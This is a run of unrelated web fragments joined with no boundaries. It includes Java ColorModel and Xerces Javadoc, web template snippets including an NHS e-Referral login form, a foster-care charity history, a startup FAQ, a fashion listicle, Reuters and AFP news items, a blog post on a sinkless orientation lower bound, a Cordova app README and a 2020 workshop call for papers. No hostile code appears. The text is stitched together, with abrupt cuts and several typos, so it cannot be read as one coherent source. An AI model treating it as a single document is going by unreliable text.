with the isAlphaPremultiplied
flag set appropriately. This method will throw a
UnsupportedOperationException
if it is not supported
by this ColorModel
.
Since ColorModel
is an abstract class,
any instance is an instance of a subclass. Subclasses must
override this method since the implementation in this abstract
class throws an UnsupportedOperationException
.raster
- the WritableRaster
dataisAlphaPremultiplied
- true
if the alpha is
premultiplied; false
otherwiseColorModel
object that represents the
coerced data.public boolean isCompatibleRaster(Raster raster)
true
if raster
is compatible
with this ColorModel
and false
if it is
not.
Since ColorModel
is an abstract class,
any instance is an instance of a subclass. Subclasses must
override this method since the implementation in this abstract
class throws an UnsupportedOperationException
.raster
- the Raster
object to test for compatibilitytrue
if raster
is compatible
with this ColorModel
.UnsupportedOperationException
- if this
method has not been implemented for this
ColorModel
public WritableRaster createCompatibleWritableRaster(int w, int h)
WritableRaster
with the specified width and
height that has a data layout (SampleModel
) compatible
with this ColorModel
.
Since ColorModel
is an abstract class,
any instance is an instance of a subclass. Subclasses must
override this method since the implementation in this abstract
class throws an UnsupportedOperationException
.w
- the width to apply to the new WritableRaster
h
- the height to apply to the new WritableRaster
WritableRaster
object with the specified
width and height.UnsupportedOperationException
- if this
method is not supported by this ColorModel
WritableRaster
,
SampleModel
public SampleModel createCompatibleSampleModel(int w, int h)
SampleModel
with the specified width and
height that has a data layout compatible with this
ColorModel
.
Since ColorModel
is an abstract class,
any instance is an instance of a subclass. Subclasses must
override this method since the implementation in this abstract
class throws an UnsupportedOperationException
.w
- the width to apply to the new SampleModel
h
- the height to apply to the new SampleModel
SampleModel
object with the specified
width and height.UnsupportedOperationException
- if this
method is not supported by this ColorModel
SampleModel
public boolean isCompatibleSampleModel(SampleModel sm)
SampleModel
is compatible with this
ColorModel
.
Since ColorModel
is an abstract class,
any instance is an instance of a subclass. Subclasses must
override this method since the implementation in this abstract
class throws an UnsupportedOperationException
.sm
- the specified SampleModel
true
if the specified SampleModel
is compatible with this ColorModel
; false
otherwise.UnsupportedOperationException
- if this
method is not supported by this ColorModel
SampleModel
public void finalize()
ColorModel
once this ColorModel
is no
longer referenced.finalize
in class Object
WeakReference
,
PhantomReference
public WritableRaster getAlphaRaster(WritableRaster raster)
Raster
representing the alpha channel of an
image, extracted from the input Raster
, provided that
pixel values of this ColorModel
represent color and
alpha information as separate spatial bands (e.g.
ComponentColorModel
and DirectColorModel
).
This method assumes that Raster
objects associated
with such a ColorModel
store the alpha band, if
present, as the last band of image data. Returns null
if there is no separate spatial alpha channel associated with this
ColorModel
. If this is an
IndexColorModel
which has alpha in the lookup table,
this method will return null
since
there is no spatially discrete alpha channel.
This method will create a new Raster
(but will share
the data array).
Since ColorModel
is an abstract class, any instance
is an instance of a subclass. Subclasses must override this
method to get any behavior other than returning null
because the implementation in this abstract class returns
null
.raster
- the specified Raster
Raster
representing the alpha channel of
an image, obtained from the specified Raster
.Dracula Javadoc Sample, Made with Allan Im.


{%extends "base.html" %} {%block title%}Conference Feedback - {{conference}}{%endblock%} {%block content%}
Back to the feedback overview.
Please rate and comment on the following aspects of the conference. For questions taking rating, use a scale from 1-5, with 5 being the highest or "best".
Note that all your data will be anonymised before begin presented, so if you want the organisers to know who you are, you must put your name and contact information in the text field.
{% if form.errors %}Note! This form contains errors and has not been saved!
{% endif %} {%endblock%}


{% extends 'templates/nhs_transaction_layout.html' %} {% import 'includes/form_macros.html' as form_macros %} {% block content %} Welcome to the NHS e-Referral Service Reference Number Year of Birth Password Log In {% endblock %}
Log In


Our History
Sibling Connections was founded in 2005, by child advocate Judy Cockerton. Judy began her journey in 1999, when she and her husband became foster parents to two sisters. It was through these two beautiful little girls that Judy began learning about the realities of life for children who experience foster care.
The first step in the creation of Sibling Connections was becoming an affiliate of Camp to Belong - an annual, week-long overnight camp for kids experiencing foster care to reconnect with their siblings. Camp To Belong is an international organization founded by Lynn Price, a former youth in care who knows firsthand about the power of the sibing connection. Judy stumbled across an episode of the Obrah show where Lynn was receiving a "Use Your Life" award and was compelled to bring this wonderful program to Massachusettes. After a uear of planning and organizing, Camp To Belong MA was launchde on the Cape Cod in August 2005.
As the buses pulled out of camp at the end of an amazing week, Judy and a group of dedicated volunteers knew they needed to do more to keep siblings connected year-round, which led to the launch of our second program, Sibling Sunday, in western MA in the fall of 2005. Sibling Sunday is a year-round program that offers regularly scheduled opportunities for sisters and brothers who live apart to connect in a safe environment and create joyous shared memories. The Sibling Sunday program continued to expand its reach throughout MA as we opened programs in Lowell, southeastern MA, and Boston. We noe operate three robust programs: western MA, Boston, and greater Lowell.
To maintain relationships with our older program participants, we launched a Youth Leadership Program (YLP) in the summer of 2013, inviting 8 youth to serve as peer role models during our week of camp. This program has since doubled in size and we were able to invite 16 teens to participate at CTB MA in 2016.
Additionally, we offered our first Sibling Weekend Retreat in February 2016, which gave 30 siblings the opportunity to spend a weekend of fun, games, movie-watching, and more together. Our goal is to be able to offer three Weekend Retreats annually to supplement our other programming.
We are looking forward to a future of serving even more sibling groups across the state, expansion of our exisiting programs, and continuing to spread awareness of the realities for siblings in the foster care system. We invite you to join the Sibling Connections family in creating a better future for sisters and brothers who experience foster care.


Here you can find all of gautam.cc's web apps and iOS apps. More games coming soon for iOS (5+) users.
Make Quick Response codes fast and easily with SmartCodes. Using Google's Chart API, SmartCodes is able to give you any QR Code under 1431 charaacters. Coming soon to the Apple App Store.
Become a black belt in arithmetic with MathNinja! Built using Adobe Cordova and web technologies, this app has been launched on both the Chrome Web Store and the Apple App Store.
gautam.cc's first ever web app. A handy little calculator disguised as a rock. Available on the Chrome Webstore.


{{define "voting"}}
See the WBC Voting Site for more information.
There are no active agendas to vote on currently.


26
New Users!
145
New Comments!
$8982
Total Revenue
6545
Total sales!
Server Status
CPU UsageCountry Managers
| Firstname | Lastname | |
|---|---|---|
| John | Doe |<EMAIL_ADDRESS>|
| Mary | Moe |<EMAIL_ADDRESS>|
| July | Dooley |<EMAIL_ADDRESS>|
| Firstname | Lastname | |
|---|---|---|
| John | Doe |<EMAIL_ADDRESS>|
| Mary | Moe |<EMAIL_ADDRESS>|
| July | Dooley |<EMAIL_ADDRESS>|
| Firstname | Lastname | |
|---|---|---|
| John | Doe |<EMAIL_ADDRESS>|
| Mary | Moe |<EMAIL_ADDRESS>|
| July | Dooley |<EMAIL_ADDRESS>|
| Firstname | Lastname | |
|---|---|---|
| Subin | Doe |<EMAIL_ADDRESS>|
| Mary | Moe |<EMAIL_ADDRESS>|
| July | Dooley |<EMAIL_ADDRESS>|


ADDING VIDEOS TO WEBPAGES.
- STEP 1: Create a folder e.g TYC
- STEP 2: Add any video of your choice in the folder.
- STEP 3: Rename the video without erasing the video extension(mp4) e.g marvel.mp4
- STEP 4: Create a HTML file and save it in the folder you created earlier.
- STEP 5: In your HTML file input this code
< video src="video name and extension" controls> and the closing tag.
e.g < video src="marvel.mp4" controls> and the closing tag.
OR
< video controls>
< source src="marvel.mp4" type="video/mp4">
< source src="marvel.ogg" type="video/ogg">
Video is not supported by your browser
AND THEN YOU ADD THE CLOSING TAG.
In this case, when the first file format(mp4) isn't supported the second file format(ogg) gets used.
MARVEL:The three currently supported file extensions for the audio elements are MP3,WAV and OGG.
<--
-->


|
||||||||||
| PREV NEXT | FRAMES NO FRAMES |
| Packages that use org.apache.xerces.validators.schema.identity | |
| org.apache.xerces.validators.common | |
| org.apache.xerces.validators.schema.identity |
Classes in org.apache.xerces.validators.schema.identity used by org.apache.xerces.validators.common| Field
|
Schema identity constraint field. FieldActivator
|
Interface for a field activator. IdentityConstraint
|
Base class of Schema identity constraint. IDValue
|
Stores a value associated with a particular field of an identity constraint that has successfully matched some string in an instance document. Key
|
Schema key identity constraint. KeyRef
|
Schema key reference identity constraint. Unique
|
Schema unique identity constraint. ValueStore
|
Interface for storing values associated to an identity constraint. XPathMatcher
|
XPath matcher. |
Classes in org.apache.xerces.validators.schema.identity used by org.apache.xerces.validators.schema.identity| Field
|
Schema identity constraint field. Field.XPath
|
Field XPath. FieldActivator
|
Interface for a field activator. IdentityConstraint
|
Base class of Schema identity constraint. IDValue
|
Stores a value associated with a particular field of an identity constraint that has successfully matched some string in an instance document. Selector
|
Schema identity constraint selector. Selector.XPath
|
Schema identity constraint selector XPath expression. ValueStore
|
Interface for storing values associated to an identity constraint. XPath
|
Bare minimum XPath parser. XPath.Axis
|
Axis. XPath.LocationPath
|
A location path representation for an XPath expression. XPath.NodeTest
|
Node test. XPath.Step
|
A location path step comprised of an axis and node test. XPathException
|
XPath exception. XPathMatcher
|
XPath matcher. |
|
||||||||||
| PREV NEXT | FRAMES NO FRAMES |


info Please list down your roles & activities as
part of your position
Feel free to enter details in your own words, to the best of your
understanding. This information will help us tailor a more personalized experience
and add more relevant content on the platform.


What is Quicklink?
Quicklink is a platform that makes the buying and selling aspect of a transaction easier for both sides! We automate processes for the sellers, and we provide an all-in-one buying platform for the buyers.
What do I get from using Quicklink?
Quicklink will streamline the entire business transaction from order to payment, making it more efficient and easy to manage. We can help you grow your business by equipping you with analytical tools, automated order forms and tracking, and payment gateways that can provide you and your customers a smoother experience. Learn more about it here.
How can this help my customers?
Your customers get the best, inclusive experience by allowing your customers to pay with different methods, track their order, and provide them an easy-to-use menu and order form.
How much does it cost?
No setup fees are required. Pay a 4% fee per transaction!
Who can use Quicklink?
For now, our platform is only optimized for online food sellers. However, expect us to expand to other types of products like clothing, stationaries, and more, as well as on-site physical restaurants soon. Stay tuned!
What payment methods can I use as a shop customer?
We are looking to accept payments through GCash, Visa, Mastercard, Bank of the Philippine Islands, and Banco de Oro.
What do I get from the early access program?
You'll get firsthand access to our product once it's available for use! As an early access customer, we keep you up-to-date with news about Quicklink and its features. You'll also be given an opportunity to help us build the platform!
How do I apply for early access?
By simply clicking on the "Join Early Access" button and filling out the form, you'll be invited to join our early access program! Just wait for an email from us, we'll get back to you in a few days!
How does Quicklink automate order and financial processes?
Quicklink does this by combining all processes involved in a point-of-sale into one platform — from ordering to payment. Doing so automates the documentation of these data for a seller as well.
How much time does Quicklink save?
We can lessen the order time from more than 10 minutes to less than 2 minutes. Even better, there won't be a need to dedicate manpower to reply to or update your customers.
How does Quicklink make a shop customer's life easier?
We get rid of the long "message to order, wait for reply, get payment details, transfer through a banking app, take a screenshot, send for confirmation" process for customers! Besides this, customers can also have their details automatically filled out, such as name, address, and payment methods, given that they have a Quicklink Customer Account.
Do I need to be tech-savvy to use Quicklink?
Nope! Our designers are working to make sure that your use of Quicklink is as easy and accessible as possible. No need to code anything. We aim to provide the best experience for our users!


You Need Amazon's 21 Most Flattering Tops This Season
by Katharine StahlJeans and a cute top have become a fashion standard for a reason: it's a style combo that's cute, comfortable, and super easy to wear. But we all know not every top is created equally, and only the most flattering versions make our favorites list. You know what we're talking about: the kind of top that you put on and instantly feel chic, confident, and ready to take on whatever comes your way. It's an elusive find — until now, thanks to Amazon.
We've rounded up 21 of Amazon's most stylish tops, all destined to get you more compliments than you know what to do with. With attention-grabbing details, slimming peplum and wrap silhouettes, and gorgeous colors and patterns, these tops will take you from work through the weekend in the most flattering style. Keep reading to check out 21 of Amazon's chicest tops, and get ready for the style kudos coming your way.
Amanda Uprichard Natasha Sequin Top
Amanda Uprichard's Natasha Sequin Top ($195) comes in black and burgundy. Puff sleeves and a peplum waist add even more interest.
Free People Olivia Lace Top
Choose from black, white, or burgundy in Free People's Olivia Lace Top ($88-$98). The ultra-romantic top is made from sheer, stretchy lace.
Parker Alyssa Wrap-Front Peplum Blouse
Parker's Alyssa Wrap-Front Peplum Blouse ($226) has an elastic waist and an asymmetrical hem.
AYR The Por Favor Top
AYR's The Por Favor Top ($245) is made of pure silk, designed with an extra-voluminous silhouette and eye-catching polka dots.
Rebecca Taylor Metallic Jacquard Top
Holiday party ready, Rebecca Taylor's Metallic Jacquard Top ($495) has cool balloon sleeves with pleated embellishments and a flattering all-over abstract metallic pattern.
English Factory Belted Cardigan
Accentuate your waist with English Factory's Belted Cardigan ($90) in baby pink.
Frame Colorblock Blouse
Frame's Colorblock Blouse ($295) offers a slimming optical illusion and a chic pop of snakeskin.
Paige Sevilla Bodysuit
Made of crinkled charmeuse in a beautiful tulip red color, Paige's Sevilla Bodysuit ($179-$321) has padded shoulders and button cuffs.
leRumi Hadley Blouse
Two percent spandex makes leRumi's Hadley Blouse ($77) extra flattering — as if the sweet polka dots and wrap silhouette weren't enough!
Lioness A Lot to Lose Top
Made from lustrous semisheer fabric, the Lioness A Lot to Lose Top ($78) has balloon sleeves with button cuffs.
LNA Brushed Orion Top
Featuring a slouchy silhouette and a sheer mesh insert, LNA's Brushed Orion Top ($128) pairs equally well with jeans or dressier options.
Moon River Sparkly Ruched Sleeve Top
Metallic threading and puff sleeves with all-over ruching take Moon River's Sparkly Ruched Sleeve Top ($80) to the next style level.
Moon River Zebra Sweater
Moon River's Zebra Sweater ($75) has a bold all-over pattern with balloon sleeves.
ASTR Stephanie Wrap Sweater
Choose from gray, black, or burgundy in ASTR's Stephanie Wrap Sweater ($87-$98).
Rails Kate Button Down
We love the unique star print on Rails' Kate Button Down ($198). Cut from smooth silk, the top pairs perfectly with high-waisted jeans.
Susana Monaco Twist-Front Dolman Top
Ruching and a twist detail at the waist makes Susana Monaco's Twist-Front Dolman Top ($158) both comfortable and chic.
The Fifth Label Goldie Check Top
We love the peplum and tie-front details on The Fifth Label's Goldie Check Top ($88).
Velvet by Graham & Spencer Bedelia Top
Available in black and blush pink, Velvet by Graham & Spencer's Bedelia Top ($122-$147) is a comfy combo of cotton sleeves and a modal faux-wrap front.
Wayf Erika Puff-Sleeve Lace Top
Choose from navy, blush pink, and ivory in Wayf's Erika Puff-Sleeve Lace Top ($89). Each color option has a beige lining, a ruffle neckline, and gold-tone buttons at the cuffs.
Endless Rose Lace Tee
Available in black and white, Endless Tose's Lace Tee ($55) is beautiful as a layering piece or all on its own, thanks to its double-layered lace peplum.
Yumi Kim Kiss & Make Up Top
Sparkly and sweet, Yumi Kim's Kiss & Make Up Top ($148) has flocked glitter details and a wrap silhouette with a tie at the waist.


Most SE Asian stocks fall on US-China trade deal worries, weak data
by ReutersBENGALURU (Nov 1): Most Southeast Asian markets fell on Friday on a report that China expressed doubts over signing of a long-term trade deal with the United States, while a raft of weak data in the region also dented sentiment.
Bloomberg reported on Thursday that Chinese officials told visitors to Beijing that it will not budge on the thorniest issues and is concerned about the risk that US President Donald Trump could back out of the interim deal.
This comes after the APEC meeting in Chile where leaders of both countries were supposed to sign an interim deal in mid-November was called off due to domestic turmoil.
Meanwhile, recent manufacturing data for trade-reliant Asian economies such as Indonesia, Malaysia, Taiwan and Vietnam have all disappointed.
"We can yet again see that a resolution to the US-China trade dispute remains a critical component to keeping the lights on in the global economy," said Jeffrey Halley, senior market analyst, Asia Pacific at OANDA.
Singapore shares fell as much as 0.7%, pressured mostly by industrial stocks. The city-state has a sizable exposure to China.
Conglomerate Jardine Strategic Holdings Ltd lost 1.2%.
Singapore's third-biggest lender United Overseas Bank Ltd fell 1% to see worst session in a month after posting a drop in quarterly results and dragged the benchmark.
Malaysia's main index slipped, with Public Bank Bhd shedding 2.4% and Petronas Chemicals Group Bhd trading 0.4% lower.
Indonesian shares inched lower. Data showed that October's annual inflation slowed more than expected to its lowest in six months, but stayed within central bank's comfort range.
Automotive group Astra International Tbk PT was the top drag on the index as it fell about 2% after reporting a decline in nine-month net profit.
Thai bourse slipped while data showed inflation rose 0.11% in October from a year earlier, slowing from the previous month and undershooting expectations.
Meanwhile, Vietnam stocks gained 0.9%, while data showed manufacturing activity declined slightly in October compared to previous month.
Philippine markets were closed for a holiday.
SOUTHEAST ASIAN STOCK MARKETS
Change on the day
| Market | Current | Previous close | % move |
| Singapore | 3227.4 | 3229.88 | -0.08 |
| Bangkok | 1596.01 | 1601.49 | -0.34 |
| Jakarta | 6211.137 | 6228.317 | -0.28 |
| Kuala Lumpur | 1590.81 | 1597.98 | -0.45 |
| Ho Chi Minh | 1008.25 | 998.82 | 0.94 |
Change so far in 2019
| Market | Current | End 2018 | % move |
| Singapore | 3227.4 | 3068.76 | 5.17 |
| Bangkok | 1596.01 | 1563.88 | 2.05 |
| Jakarta | 6211.137 | 6,194.50 | 0.27 |
| Kuala Lumpur | 1590.81 | 1690.58 | -5.90 |
| Ho Chi Minh | 1008.25 | 892.54 | 12.96 |


Blue Developer Directory
Boston Developers
| Name |
City |
Skills |
| John Foss |
Cambridge |
html5, css, php |
| Mark Judge |
Fall River |
html5, css |
| Jake Smith |
Amesbury |
html5, ror, php, asp |
| Henry Billard |
Haverhill |
Photoshop, html, css |
| Jen Sheehan |
Medford |
html5, Photoshop, css |
New Hampshire Developers
| Name |
City |
Skills |
| Steve Meadows |
Exeter |
html5, css, php |
| Frank Gill |
Manchester |
html5, css |
| Margo Walls |
Nashua |
html5, ror, php, asp |
| Kevin Teague |
Concord |
Photoshop, html, css |
| Jeff Goodrow |
South Hampton |
html5, Photoshop, css |
Top HTML Developers
- Jane Russo
- Bill Fro
- Jill Forest
- Wendy Newton
- Josh Bilson
Random Developers
- Jane Russo
- Bill Fro
- Jill Forest
- Wendy Newton
- Josh Bilson


Simulation argument III. Sinkless orientation
13 Feb 2019This is the third post of a series that starts here.
In this post, we show how to use the simulation argument to prove a lower bound on the sinkless orientation problem. This is done in the context of the previous post, that is, 2-colored $\Delta$-regular trees.
Sinkless orientation encoding
The sinkless orientation problem consists in orienting the edges of the graph, such that no node is a sink, that is, no node has only edges pointing to it.
In a bipartite graph, whose nodes are labeled black and white, it is easy to encode an orientation with edge labels: an edge is labeled $b$ if it is pointing to the black endpoint, and $w$ if it is pointing to the white endpoint.
Now the languages, described as polynomials, are:
- $L_W=b(b+w)^{\Delta-1}$,
- $L_B=w(b+w)^{\Delta-1}$.
Because white nodes must have an adjacent edge pointing to a black node, and vice-versa.
Transformation
We will show a very strong property: from a $T$-round algorithm for sinkless orientation, we can get a $(T-1)$-round algorithm for… the exact same problem of sinkless orientation!
Simulation
After one step of simulation centered at a black node $u$, the labeling of the edges adjacent to $u$ is described by a factorized polynomial $P_u$. By definition $P_u$ is included in $(w+b)^{\Delta}$.
Product and consistency property
We now use the key properties to have a better upper bound on $P_u$. Thanks to the product property, we know that $P_u\subseteq w(b+w)^{\Delta-1}$. Now consider a white node $v$, and the set labels given by its black neighbours. Because of the consistency property, there must at least one of its edges labeled with $b$, that is $P_v$ cannot be $w^{\Delta}$. And well, that’s all we need!
Simplification step
Consider the simplification: $b+w \rightarrow b$.
If we apply this simplification, we have all the edges labeled with unique labels (not set labels), and this labeling is correct with respect to the black language. In other words, after simplification, we have a polynomial $\hat{P_u}$, that is a monomial, and $\hat{P_u}\subseteq L_B$.1 But what about the white nodes? We know from the previous section that $P_v$ was not $w^{\Delta}$, thus $\hat{P_v}$ is not $w^{\Delta}$ either, thus $\hat{P_v}\subseteq L_W$.
Thus we have a new labeling, for the exact same language, in one less round!
Lower bound
The same reasoning would work if we center the analysis on the white nodes. This means that from any $T$-round algorithm for sinkless orientation, we get down to a 0-round algorithm for sinkless orientation. And sinkless orientation is not a trivial language.
So is sinkless orientation impossible to solve?
No, remember that our lower bound technique works only up to $O(\log n)$ rounds. Thus we have just proved an $\Omega(\log n)$ lower bound for this problem.
Actually there is a $O(\log n)$ algorithm for this language, hence this bound is tight.
Footnotes
-
We always have the property that the simplification step does not destroy the correctness of the labeling on the black node, as long as we do an “hereditary” simplification, that is we replace a set of labels by a label of the set. This is because of the product property. ↩


TroGo (Wilson App Alpha)
Slideshow Project Overview
Welcome to the Wilson App github repository! This app is coded using a typescript cordova project in visual studio.

- Install programs: Visual Studio Code, Node.JS (Current), JDK (x64), Android Studio. If you would like to develop for iOS, you also must install Xcode and Xcode Command Line Tools (You must own a Mac to develop for iOS).
- (OSX Only) Set up npm globally: https://github.com/glenpike/npm-g_nosudo/blob/master/npm-g-nosudo.sh
- Install JS dependencies: In an administrator command window, run
npm i -g cordova typescript typedoc
.
- (OSX Only) Install more JS dependencies: In an administrator command window, run
npm i -g --unsafe-perm=true ios-simulator ios-deploy
.
- Setup Android: Follow this tutorial to the end of "Installing the Requirements". As of writing the targeted Android version is 4.4 (API level 19).
- Clone this repository and open
HereWeGo/Wilson App.code-workspace
using VSCode. Install all recommended extensions for the workspace (can be found in the extensions window by searching "@recommended" and looking under "Workspace Recommendations" if the workspace is open).
- Using the terminal in VSCode, run
npm update
, cordova platform add android
, and cordova platform add ios
.
Simulating In Browser
- To start the Typescript build, press
Ctrl+Shift+B
(Command+Shift+B
on OSX).
- In the VSCode debug menu, select "Simulate iOS in browser" and hit run.
- In the browser, you will need to install a CORS disabler extension. I use this one for Chrome. Install an extension and ensure it is enabled.
- Refresh the page, and open the developer tools (
Ctrl+Shift+I
for Chrome on windows). Enable the Mobile Screen size tool (Ctrl+Shift+M
for Chrome on Windows), and resize to a desired device (I use Samsung Galaxy S5).
- You can now make changes to any files in the project, and the webpage will automatically update to reflect those changes. Note: Changes made to files located in
HereWeGo/www/scripts
will not persist, as these are automatically overwritten by Typescript. Any script editing should be done in the .ts
or .js
files in HereWeGo/scripts
.
Running On Android Device
TODO
Running On iOS Simulator
TODO
Running On iOS Device
Screenshots
TODO


“Armed bandits” launched a predawn attack on Thursday on Aljannaru, a village in Adamawa state, before encountering a local self-defence group, police spokesman Suleiman Nguroje said.
They “clashed with some hunters, which led to the killing of six (people)”, Nguroje said.
Bandit attacks in northern Nigeria have risen in recent years, targeting remote areas and livestock.
Villages in southern Adamawa have also been repeatedly attacked by Boko Haram jihadists, leading to the rise of hunters and other self-defence groups to fight them.
In 2014, hunters helped force out Boko Haram militants occupying parts of Adamawa, yet sporadic attacks by the group persist.
In a separate incident in neighbouring Borno state, three Nigerian soldiers were killed on Sunday when their armoured vehicle was hit by a projectile fired by Boko Haram jihadists, army sources told AFP.
Fighters attacked the convoy at a military post outside the town of Gwoza, near the border with Cameroon, the sources said.
“We lost three soldiers in the attack,” said an army officer speaking on condition of anonymity, adding soldiers were injured and an army vehicle destroyed.
The decade-long jihadist conflict has spilt into neighbouring Niger, Chad and Cameroon. It has claimed 35,000 lives and displaced around two million in Nigeria alone.
(AFP)


This global inspection reports any classes which are directly dependent on too many
other classes in the project. Such classes may be prone to instability, as modifications
to any of the classes it is dependent on may require changing the class. Only top-level
classes are reported by this inspection. Since this inspection requires global code
analysis, it is only available in batch inspection mode.
Use the field below to specify the maximum number of dependencies a class may have
before triggering this inspection
Powered by InspectionGadgets


Pierce Brosnan's sons named 2020 Golden Globe Ambassadors
Cape Town – Pierce Brosnan's youngest sons, Dylan and Paris, have been chosen as the Golden Globe Ambassadors of 2020.
The Hollywood Foreign Press Association announced on Thursday that Dylan (22) and Paris (18) assume the ambassador title for the 77th annual Golden Globes Awards in January.
An ambassador is traditionally the child of a celebrity and assists with award presentations, handing out trophies to winners and escorting them off stage.
They are the first pair of brothers to hold the title, which was held by Idris Elba's daughter, Isan in 2019 and Dwayne Johnson's daughter, Simone in 2018.
The HFPA renamed the role, formerly known as Miss Golden Globe, in 2017. The association wanted to expand the role to help recognise the HFPA's philanthropic efforts throughout the year.
"For the first time in Golden Globe history, we've proudly selected two brothers to represent the Hollywood Foreign Press Association this awards season," said HFPA president Lorenzo Soria in a statement.
"Dylan and Paris Brosnan have already achieved tremendous success in the fashion world and are following in their father's footsteps in entertainment. We're excited to see how they'll use this platform to contribute their talents to elevate the important issue of childhood hunger."
SEE THE ANNOUCEMENT HERE:
Compiled by Leandra Engelbrecht.


Call for Participation
The 4th Workshop on Mechanism Design for Social Good (MD4SG ’20) will take place virtually on 17-19 August 2020.
The goal of the workshop is to highlight work where techniques from algorithms, optimization, and mechanism design, along with insights from other disciplines, have the potential to improve access to opportunity for historically underserved and marginalized communities. The workshop will feature keynote presentations, contributed talks, and a virtual poster session on work at this research interface. The event aims to facilitate interactions between academia, policy, and industry with a focus on bridging research and policy; to this end, there will also be presentations of problem pitches and demonstrations as well as networking and discussion opportunities.
We solicit submissions of research papers, position and policy papers, as well as special problem- and practice-driven submissions, to be presented at the workshop. The deadline for submissions is Wednesday, July 1.
We encourage submissions from across various disciplines covering domains including bias and discrimination, civic participation, computational sustainability, developing nations, economic inequality, education, healthcare, housing, labor markets, and privacy and security. Submissions can be research papers introducing new theory or applications. We also strongly encourage submissions of position papers synthesizing existing work and perspectives or highlighting future directions, as well as problem pitches and demonstration submissions that are particularly aligned with policy or practice. Submissions will fall into one of four tracks:
- AI and Machine Learning including bias, fairness, and ethics, fair division and resource allocation, human computer interaction in socio-technical systems; multi-agent systems, privacy and security, computational social choice, and statistical reasoning.
- Empirical Studies and Policy including applied machine learning, causal inference, computational social science, empirical analysis of real-world systems, empirical methods, experimental results, and papers on policy interventions informed by empirical methods, as well as empirical validation of policy interventions.
- Theory including algorithm design, fairness and resource allocation, game theory, market and mechanism design, optimization, operations management, social choice theory, social network analysis, and theory of machine learning.
- Problems and Demonstrations:
- Problem Pitches including white papers on problems arising in practice that deserve wider academic attention, and papers pitching methods for addressing real-world problems through research.
- Demonstrations including prototyped and/or deployed software systems and mobile platforms.
- market design challenges in resource-constrained settings
- measuring and evaluating progress to achieve sustainable development goals
- reducing inefficiencies in smallholder farms and under-resourced supply chains
- design of algorithms that mitigate bias and improve diversity
- allocating health insurance funds and managing access to healthcare
- equitable provision of scarce healthcare resources
- ethics of using solutions informed by algorithm and mechanism design in public sector settings
- market regulations for data and privacy
- algorithmic proposals to encourage civic participation
- evaluating fairness in electoral representation
- mechanisms and policy-based interventions with the aim of reducing systemic socioeconomic inequality
- mitigating unequal economic outcomes in on- and off-line labor markets
- detecting existence or causes of exploitative market behavior in on- and off-line labor markets
- allocating low-income housing assistance
- evaluating students, teachers, or schools and improving allocation of educational resources
- design of public and shared transportation systems
- design of flexible and equitable supply chains for food allocation
Submission Specifications:
- Research Papers: Submissions should make theoretical and/or empirical contributions to previously studied problems or propose new ones motivated by societal applications.
- Position Papers: Submissions should propose open problems or explore understudied perspectives in the intersection of mechanism design, algorithms, optimization and fields such law, policy and philosophy.
- Problem Pitches: Submissions should provide
- background information on the problems,
- examples of how techniques for resource allocation, definition of appropriate metrics and objectives, design of systems, alignment of incentives, and related issues could significantly alleviate these problems, and
- summary of any existing methods or approaches for addressing these problems. Submissions are also encouraged to provide a discussion of challenges in providing holistic solutions and/or introduce new methods for addressing the problems.
- Demonstrations: Demo submissions should be accompanied by a short description describing the system or platform, the problems it seeks to address, and the potential to use the tool in conjunction with algorithm and mechanism design and related tools to improve access to opportunity. Submissions should also include instructions for using the system or platform.
Submissions will be evaluated on the following criteria:
- Research and Position Papers:
- Quality of submission as measured by accuracy and clarity of exposition.
- Relevance to MD4SG and the workshop theme of bridging research and policy.
- Novelty of domain: we particularly encourage work on applications that have been less explored within the fields of algorithms, optimization and mechanism design.
- Significant positive consideration will be given to submissions with:
- Potential for policy-oriented follow-up work. We welcome submissions that learn from or inform public policy;
- Potential for creating interdisciplinary collaborations. We welcome submissions with the potential to spark collaborations across different fields;
- Presentation of domain-specific knowledge. We especially welcome practitioners with interest or experience in translating between policy issues and academic research approaches
- Problem Pitches and Demonstrations:
- Submissions will be evaluated based on their contributions to one or more of the following:
- Novelty of problem/domain to the MD4SG community and the broader fields of computer science, economics and operations research.
- Comprehensive exposition of background on problem and attempted solutions.
- Potential for future collaborations and/or follow up from the MD4SG community and policymakers.
- Discussion of practical, structural and/or societal challenges in attempted or proposed solutions.
- Submissions will be evaluated based on their contributions to one or more of the following:
Submission Instructions:
Authors should upload a PDF of their paper to EasyChair. There are no specific formatting instructions or length requirements. In addition to the PDF, authors are asked to upload a separate abstract and a 200-250 word description onto EasyChair summarizing their submission and its relevance to the workshop’s theme. Authors do not need to be the first author of the submitted work. Authors should list all co-authors on the presented work both in the PDF of the submission as well as on EasyChair.
Authors may submit papers that are working papers, papers that have already been published, or are under review. If the work is already published, please include a citation on EasyChair.
There will be no published proceedings. All submissions will be peer-reviewed by at least 2 reviewers. The committee reserves the right not to review all the technical details of submissions. Submissions are single-blind (i.e., authors should include their name and affiliation in the paper).
Important Information:
- Paper Submission Deadline: July 1 at 3 PM ET
- Paper Submission Page: EasyChair
- Notification: July 30
- Workshop Date: August 17-19
Organizing Committee:
Program Chairs:
- Francisco J. Marmolejo Cossio, University of Oxford
- Faidra Monachou, Stanford University
Steering Committee:
- Rediet Abebe, Harvard University
- Kira Goldner, Columbia University
- Jon Kleinberg, Cornell University
- Illenin Kondo, University of Notre-Dame
- Sera Linardi, University of Pittsburgh
- Irene Lo, Stanford University
- Ana-Andreea Stoica, Columbia University
Area Chairs
- Theory: Daniel Freund, MIT Sloan; Sam Taggart, Oberlin College; Matt Weinberg, Princeton University
- Empirical Studies and Policy: Zoe B. Cullen, Harvard Business School; Robert Manduca, University of Michigan
- AI and ML: Dina Machuve, Nelson Mandela African Institution of Science and Technology; Ana-Andreea Stoica, Columbia University; Bryan Wilder, Harvard University
- Problems and Demos: Araba Sey, United Nations University; Abhishek Gupta, Microsoft and Montreal AI Ethics Institute
Program Committee
- Itai Ashlagi, Stanford University
- Beatriz Ahumada, University of Pittsburgh
- Hamsa Bastani, Wharton School - University of Pennsylvania
- Michael Carlos Best, Columbia University
- Michael Best, Georgia Institute of Technology
- Elettra Bietti, Harvard Law School
- Abeba Birhane, University College Dublin
- Peter Blair, Harvard University
- Mark Braverman, Princeton University
- Sydnee Caldwell, UC Berkeley
- Augustin Chaintreau, Columbia University
- Jose R. Correa, Universidad de Chile
- Lenore Cowen, Tufts University
- Krishna Dasaratha, Harvard University
- Bikramaditya Datta, Indian Institute of Technology, Kanpur
- Jonathan Davis, University of Oregon
- Maria De-Arteaga, University of Texas at Austin
- Joann de Zegher, MIT Sloan
- John P. Dickerson, University of Maryland
- Edith Elkind, University of Oxford
- Meryem Essaidi, Princeton University
